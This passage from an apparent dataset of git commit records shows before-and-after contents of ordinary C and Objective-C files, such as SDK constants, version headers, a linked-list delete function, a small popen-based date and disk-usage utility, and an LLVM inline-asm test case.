MOPUB_LEADERBOARD_SIZE      CGSizeMake(728, 90)\n#define MOPUB_WIDE_SKYSCRAPER_SIZE  CGSizeMake(160, 600)\n\n\/\/ Miscellaneous constants.\n#define MINIMUM_REFRESH_INTERVAL            5.0\n#define DEFAULT_BANNER_REFRESH_INTERVAL     60\n#define BANNER_TIMEOUT_INTERVAL             10\n#define INTERSTITIAL_TIMEOUT_INTERVAL       30\n\n\/\/ Feature Flags\n#define SESSION_TRACKING_ENABLED            1\n","subject":"Disable MoPub logging for release builds.","message":"Disable MoPub logging for release builds.\n","lang":"C","license":"bsd-3-clause","repos":"skillz\/mopub-ios-sdk,skillz\/mopub-ios-sdk,skillz\/mopub-ios-sdk,skillz\/mopub-ios-sdk"}
{"commit":"aa9981d1d777855b79a4779e4b2cac3b3463023e","old_file":"src\/SimpleAmqpClient\/Version.h","new_file":"src\/SimpleAmqpClient\/Version.h","old_contents":"#ifndef SIMPLEAMQPCLIENT_VERSION_H\n#define SIMPLEAMQPCLIENT_VERSION_H\n\/*\n * ***** BEGIN LICENSE BLOCK *****\n * Version: MIT\n *\n * Copyright (c) 2013 Alan Antonuk\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * ***** END LICENSE BLOCK *****\n *\/\n\n#define SIMPLEAMQPCLIENT_VERSION_MAJOR 2\n#define SIMPLEAMQPCLIENT_VERSION_MINOR 5\n#define SIMPLEAMQPCLIENT_VERSION_PATCH 1\n\n#endif  \/\/ SIMPLEAMQPCLIENT_VERSION_H\n","new_contents":"#ifndef SIMPLEAMQPCLIENT_VERSION_H\n#define SIMPLEAMQPCLIENT_VERSION_H\n\/*\n * ***** BEGIN LICENSE BLOCK *****\n * Version: MIT\n *\n * Copyright (c) 2013 Alan Antonuk\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * ***** END LICENSE BLOCK *****\n *\/\n\n#define SIMPLEAMQPCLIENT_VERSION_MAJOR 2\n#define SIMPLEAMQPCLIENT_VERSION_MINOR 6\n#define SIMPLEAMQPCLIENT_VERSION_PATCH 0\n\n#endif  \/\/ SIMPLEAMQPCLIENT_VERSION_H\n","subject":"Increment version to v2.6 (take 2)","message":"Increment version to v2.6 (take 2)\n\nv2.5.1 was release to correct a problem with install directories on\nDebian.\n","lang":"C","license":"mit","repos":"alanxz\/SimpleAmqpClient,alanxz\/SimpleAmqpClient"}
{"commit":"2ec20f8408bfc92bb15b982f2b06456ca48c5074","old_file":"webkit\/plugins\/ppapi\/ppp_pdf.h","new_file":"webkit\/plugins\/ppapi\/ppp_pdf.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n#define WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_point.h\"\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPP_PDF_INTERFACE_1 \"PPP_Pdf;1\"\n\nstruct PPP_Pdf_1 {\n  \/\/ Returns an absolute URL if the position is over a link.\n  PP_Var (*GetLinkAtPosition)(PP_Instance instance,\n                              PP_Point point);\n};\n\ntypedef PPP_Pdf_1 PPP_Pdf;\n\n#endif  \/\/ WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n#define WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_point.h\"\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPP_PDF_INTERFACE_1 \"PPP_Pdf;1\"\n#define PPP_PDF_INTERFACE PPP_PDF_INTERFACE_1\n\nstruct PPP_Pdf_1 {\n  \/\/ Returns an absolute URL if the position is over a link.\n  PP_Var (*GetLinkAtPosition)(PP_Instance instance,\n                              PP_Point point);\n};\n\ntypedef PPP_Pdf_1 PPP_Pdf;\n\n#endif  \/\/ WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n","subject":"Add missing unversioned interface-name macro for PPP_Pdf.","message":"Add missing unversioned interface-name macro for PPP_Pdf.\n\nBUG=107398\n\nReview URL: http:\/\/codereview.chromium.org\/9114010\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@116504 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,Chilledheart\/chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,anirudhSK\/chromium,zcbenz\/cefode-chromium,rogerwang\/chromium,robclark\/chromium,ChromiumWebApps\/chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,dednal\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,rogerwang\/chromium,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,keishi\/chromium,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,robclark\/chromium,Jonekee\/chromium.src,rogerwang\/chromium,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,littlstar\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,dushu1203\/chromium.src,robclark\/chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,M4sse\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,Just-D\/chromium-1,dednal\/chromium.src,jaruba\/chromium.src,robclark\/chromium,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,keishi\/chromium,anirudhSK\/chromium,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,chuan9\/chromium-crosswalk,robclark\/chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,rogerwang\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,robclark\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,ltilve\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,robclark\/chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,robclark\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,jaruba\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,anirudhSK\/chromium,keishi\/chromium,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,keishi\/chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,patrickm\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl"}
{"commit":"11e80dae6366516bca9e59c807f171073a596885","old_file":"libraries\/libmdb\/mdb_stat.c","new_file":"libraries\/libmdb\/mdb_stat.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include \"mdb.h\"\n\nint main(int argc,char * argv[])\n{\n\tint i = 0, rc;\n\tMDB_env *env;\n\tMDB_db *db;\n\tMDB_stat *mst;\n\tchar *envname = argv[1];\n\tchar *subname = NULL;\n\n\tif (argc > 2)\n\t\tsubname = argv[2];\n   \n\trc = mdbenv_create(&env, 0);\n\trc = mdbenv_open(env, envname, MDB_RDONLY, 0);\n\tif (rc) {\n\t\tprintf(\"mdbenv_open failed, error %d\\n\", rc);\n\t\texit(1);\n\t}\n\trc = mdb_open(env, NULL, NULL, 0, &db);\n\tif (rc) {\n\t\tprintf(\"mdb_open failed, error %d\\n\", rc);\n\t\texit(1);\n\t}\n   \n\trc = mdb_stat(db, &mst);\n\tprintf(\"Created at %s\", ctime(&mst->ms_created_at));\n\tprintf(\"Page size: %u\\n\", mst->ms_psize);\n\tprintf(\"Tree depth: %u\\n\", mst->ms_depth);\n\tprintf(\"Branch pages: %lu\\n\", mst->ms_branch_pages);\n\tprintf(\"Leaf pages: %lu\\n\", mst->ms_leaf_pages);\n\tprintf(\"Overflow pages: %lu\\n\", mst->ms_overflow_pages);\n\tprintf(\"Revisions: %lu\\n\", mst->ms_revisions);\n\tprintf(\"Entries: %lu\\n\", mst->ms_entries);\n\tmdb_close(db);\n\tmdbenv_close(env);\n\n\treturn 0;\n}\n","subject":"Return statistics for a DB","message":"Return statistics for a DB\n\nEventually this will have to grow up to be like BDB db_stat...\n","lang":"C","license":"mit","repos":"bobek-balinek\/BlueJet"}
{"commit":"617257ce33aeaede4f9756b3ad1bebc099901955","old_file":"resource.h","new_file":"resource.h","old_contents":"","new_contents":"\/\/{{NO_DEPENDENCIES}}\n\/\/ Microsoft Developer Studio generated include file.\n\/\/ Used by Glide2x.rc\n\/\/\n\n\/\/ Next default values for new objects\n\/\/ \n#ifdef APSTUDIO_INVOKED\n#ifndef APSTUDIO_READONLY_SYMBOLS\n#define _APS_NEXT_RESOURCE_VALUE        101\n#define _APS_NEXT_COMMAND_VALUE         40001\n#define _APS_NEXT_CONTROL_VALUE         1000\n#define _APS_NEXT_SYMED_VALUE           101\n#endif\n#endif\n","subject":"Add forgotten file. Created when the .rc file was added to provide the dll with a version to keep Red Baron happy.","message":"Add forgotten file.  Created when the .rc file was added\nto provide the dll with a version to keep Red Baron happy.\n","lang":"C","license":"lgpl-2.1","repos":"voyageur\/openglide,voyageur\/openglide,voyageur\/openglide"}
{"commit":"5113f1622d5c6b0d00975ada0e0827403383e3e8","old_file":"list.c","new_file":"list.c","old_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n\nListNode* ListNode_Create(void* k)\n{\n\tListNode* n = (ListNode *)malloc(sizeof(ListNode));\n\tn->prev = NULL;\n\tn->next = NULL;\n\tn->k = k;\n\treturn n;\n}\n\nListNode* List_Search(List* l, void* k, int (f)(void*, void*))\n{\n\tListNode* n = l->head;\n\twhile (n != NULL && !f(n->k, k))\n\t{\n\t\tn = n->next;\n\t}\n\treturn n;\n}\n\nvoid List_Insert(List* l, ListNode* n)\n{\n\tn->next = l->head;\n\tif (l->head != NULL)\n\t{\n\t\tl->head->prev = n;\n\t}\n\tl->head = n;\n\tn->prev = NULL;\n}\n","new_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n\nListNode* ListNode_Create(void* k)\n{\n\tListNode* n = (ListNode *)malloc(sizeof(ListNode));\n\tn->prev = NULL;\n\tn->next = NULL;\n\tn->k = k;\n\treturn n;\n}\n\nListNode* List_Search(List* l, void* k, int (f)(void*, void*))\n{\n\tListNode* n = l->head;\n\twhile (n != NULL && !f(n->k, k))\n\t{\n\t\tn = n->next;\n\t}\n\treturn n;\n}\n\nvoid List_Insert(List* l, ListNode* n)\n{\n\tn->next = l->head;\n\tif (l->head != NULL)\n\t{\n\t\tl->head->prev = n;\n\t}\n\tl->head = n;\n\tn->prev = NULL;\n}\n\nvoid List_Delete(List* l, ListNode* n)\n{\n\tif (n->prev != NULL)\n\t{\n\t\tn->prev->next = n->next;\n\t} else {\n\t\tl->head = n->next;\n\t}\n\tif (n->next != NULL)\n\t{\n\t\tn->next->prev = n->prev;\n\t}\n}\n","subject":"Add List Delete function implementation","message":"Add List Delete function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"5bee973dd0c1ba2ba5b473398429c2f4c5f6447e","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc,char* argv)\n{\n\n\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nint main(int argc,char* argv)\n{\n\tFILE *ps;\n\tchar date_str[32]={0};\n\n\tif((ps = popen(\"date +%Y%m%d-%H%M%S\", \"r\")) == NULL )\n\t{\n\t\tprintf(\"popen() error!\\n\");\n\t\treturn 1;\n\t}\n\n\tfgets(date_str, sizeof(date_str),ps);\n\tprintf(\"%s\\n\",date_str);\n\n\tpclose(ps);\n\n\tif((ps = popen(\"df -h | grep rootfs | awk '{print $5}'\", \"r\")) == NULL )\n\t{\n\t\tprintf(\"popen() error!\\n\");\n\t\treturn 1;\n\t}\n\n\tmemset(date_str,0,sizeof(date_str));\n\tfgets(date_str, sizeof(date_str),ps);\n\tprintf(\"%s\\n\",date_str);\n\n\tpclose(ps);\n\n\treturn 0;\n}\n","subject":"Add date and storage percent functions.","message":"Add date and storage percent functions.\n","lang":"C","license":"mit","repos":"wigcheng\/pi_apps"}
{"commit":"6f49fe976a26bbf302f4a9c1ee82f11e0652417c","old_file":"DKNightVersion\/DKNightVersion.h","new_file":"DKNightVersion\/DKNightVersion.h","old_contents":"\/\/\n\/\/  DKNightVersion.h\n\/\/  DKNightVerision\n\/\/\n\/\/  Created by Draveness on 4\/14\/15.\n\/\/  Copyright (c) 2015 Draveness. All rights reserved.\n\/\/\n\n\/\/! Project version string for MyFramework.\nFOUNDATION_EXPORT const unsigned char DKNightVersionVersionString[];\n\/\/! Project version number for MyFramework.\nFOUNDATION_EXPORT double DKNightVersionVersionNumber;\n\n#ifndef _DKNIGHTVERSION_\n#define _DKNIGHTVERSION_\n\n#import <Core\/DKColor.h>\n#import <Core\/DKImage.h>\n#import <Core\/DKNightVersionManager.h>\n#import <Core\/NSObject+Night.h>\n\n#import <ColorTable\/DKColorTable.h>\n\n#import <UIKit\/UIKit+Night.h>\n#import <CoreAnimation\/CoreAnimation+Night.h>\n\n\n#endif \/* _DKNIGHTVERSION_ *\/","new_contents":"\/\/\n\/\/  DKNightVersion.h\n\/\/  DKNightVerision\n\/\/\n\/\/  Created by Draveness on 4\/14\/15.\n\/\/  Copyright (c) 2015 Draveness. All rights reserved.\n\/\/\n\n\/\/! Project version string for MyFramework.\nFOUNDATION_EXPORT const unsigned char DKNightVersionVersionString[];\n\/\/! Project version number for MyFramework.\nFOUNDATION_EXPORT double DKNightVersionVersionNumber;\n\n#ifndef _DKNIGHTVERSION_\n#define _DKNIGHTVERSION_\n\n#import \"Core\/DKColor.h\"\n#import \"Core\/DKImage.h\"\n#import \"Core\/DKNightVersionManager.h\"\n#import \"Core\/NSObject+Night.h\"\n\n#import \"ColorTable\/DKColorTable.h\"\n\n#import \"UIKit\/UIKit+Night.h\"\n#import \"CoreAnimation\/CoreAnimation+Night.h\"\n\n\n#endif \/* _DKNIGHTVERSION_ *\/","subject":"Use \" instead of angle bracket","message":"Use \" instead of angle bracket\n","lang":"C","license":"mit","repos":"Draveness\/DKNightVersion,Draveness\/DKNightVersion,Draveness\/DKNightVersion,ungacy\/DKNightVersion,ungacy\/DKNightVersion,ungacy\/DKNightVersion"}
{"commit":"4f1646b404a3ee061679b47e5f284605866a5e74","old_file":"gui\/webdisplay\/inc\/LinkDef.h","new_file":"gui\/webdisplay\/inc\/LinkDef.h","old_contents":"\/*************************************************************************\n * Copyright (C) 1995-2017, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class ROOT::Experimental::TWebWindow;\n#pragma link C++ class ROOT::Experimental::TWebWindowsManager;\n\n\n#endif\n","new_contents":"\/*************************************************************************\n * Copyright (C) 1995-2017, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class ROOT::Experimental::TWebWindow+;\n#pragma link C++ class ROOT::Experimental::TWebWindowsManager+;\n\n\n#endif\n","subject":"Add +: use the proper streamer.","message":"Add +: use the proper streamer.\n","lang":"C","license":"lgpl-2.1","repos":"root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,karies\/root,karies\/root,root-mirror\/root,karies\/root,root-mirror\/root,olifre\/root,root-mirror\/root,karies\/root,karies\/root,karies\/root,olifre\/root,karies\/root,root-mirror\/root,karies\/root,root-mirror\/root,olifre\/root,olifre\/root,root-mirror\/root,karies\/root,olifre\/root,root-mirror\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,root-mirror\/root,root-mirror\/root,karies\/root"}
{"commit":"a3d91cd6a6384478d88ed3022ea4bda8646fedea","old_file":"test\/FrontendC\/struct-matching-constraint.c","new_file":"test\/FrontendC\/struct-matching-constraint.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S -march=armv7a %s \n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\ntypedef struct __simd128_uint16_t\n{\n  __neon_uint16x8_t val;\n} uint16x8_t;\n\nvoid b(uint16x8_t sat, uint16x8_t luma)\n{\n  __asm__(\"vmov.16 %1, %0   \\n\\t\"\n                                           \"vtrn.16 %0, %1   \\n\\t\"\n   :\"=w\"(luma), \"=w\"(sat)\n   :\"0\"(luma)\n   );\n\n}\n","subject":"Add a testcase, enabled only on arm, for llvm-gcc r132366.","message":"Add a testcase, enabled only on arm, for llvm-gcc r132366.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@132409 